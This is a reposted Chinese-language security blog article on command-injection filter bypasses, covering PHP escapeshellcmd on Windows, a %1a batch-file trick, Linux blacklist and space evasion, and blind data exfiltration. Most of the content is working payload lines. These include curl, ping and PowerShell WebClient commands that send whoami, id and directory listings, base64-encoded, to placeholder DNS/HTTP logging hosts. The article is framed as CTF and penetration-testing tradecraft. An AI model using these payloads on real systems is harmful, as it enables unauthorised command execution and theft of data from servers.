【技術分享】命令執行和繞過的一些小技巧


轉載自:http://bobao.360.cn/learning/detail/3192.html

2016-11-16 14:03:02 來源:安全客 作者:l3m0n_ 
閱讀:12531次 點贊(1) 收藏(137)


 

http://p0.qhimg.com/t0156a411ce688449e4.png

作者:l3m0n_

預估稿費:300RMB(不服你也來投稿啊!)

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

 

先看一個例子


本地測試環境:PHP 5.4.45 + Win

1
2
3
4
5
6
7
<?php
     $command = 'dir '.$_POST['dir'];
     $escaped_command = escapeshellcmd($command);
     var_dump($escaped_command);
     file_put_contents('out.bat',$escaped_command);
     system('out.bat');
?>

http://p1.qhimg.com/t0175b67f04fae0f800.png

應該如何去繞過執行?

 

escapeshellcmd


http://php.net/manual/zh/function.escapeshellcmd.php

escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者 執行操作符 之前進行轉義。

具體會轉義哪些字符?

https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c

http://p2.qhimg.com/t01a0242ceeaf478c4e.png

這些都會用^來取消其意義。也就是沒辦法用& | 來執行其他命令,只能列目錄。

有這樣的一個tip:執行.bat文件的時候,利用%1a,可以繞過過濾執行命令。

http://p9.qhimg.com/t01feccae80e98c0901.png

 

更多好玩的命令繞過


linux下面tip特別多,在實戰或者ctf中遇到最多的幾個。

1. 黑名單繞過

1
2
3
4
執行ls命令:
a=l;b=s;$a$b
cat hello文件內容:
a=c;b=at;c=he;d=llo;$a$b ${c}${d}

http://p1.qhimg.com/t01f49316ee5b6eccfa.png

2. 空格繞過

1
2
3
4
繞過空格
${IFS}
或者在讀取文件的時候利用重定向符
<>

http://p5.qhimg.com/t010730313ce1e8dc8d.png

最后就是別人fuzz的一個命令執行項目:

https://github.com/ewilded/shelling

3. 無回顯

無回顯獲取數據的需求還是挺大的,比如sql,xxe,xss等等,這個時候一般可以用dns/http通道來獲取數據。

linux:

1
2
curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io

http://p8.qhimg.com/t01f11fc4549204a417.png

可以獲取數據,當前權限是root

http://p1.qhimg.com/t01726aa82521bedb44.png

但是有一個特別惱火的事情就是特殊字符或者是空格出現的話,這時候可以通過一些編碼來,比如base64

1
curl http://xxxx.ceye.io/$(id|base64)

http://p2.qhimg.com/t01c01f879c1da12344.png

windows:

windows下很頭疼,用起來並沒有linux那么方便好用,比如curl、wget等等。

1
2
3
4
5
http請求:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns請求:
獲取計算機名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
獲取用戶名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

powershell這么厲害,為啥不用它來base64一下數據。

1
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

這樣就也能獲取到一個base64編碼到命令結果啦~算是彌補一個小小的坑。

ps:這個是用powershell2.0寫的,其他版本未測試。

但是如果沒有powershell想要獲取更多數據的話,還是比較麻煩的。

比如獲取d:\所有文件,遇上空格也是會被截斷。

1
for /F %x in ('dir /b D:\') do start http://xxx.ceye.io/%x

4. 借他人之手來獲取字符

如果過濾了<>?,可以從已有的文件中獲取自己需要的字符。

http://p4.qhimg.com/t0128de7e50eda14578.png

當然如果服務器能外網的話,直接wget -o /tmp就好了。


 

本文由 安全客 原創發布,如需轉載請注明來源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3192.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM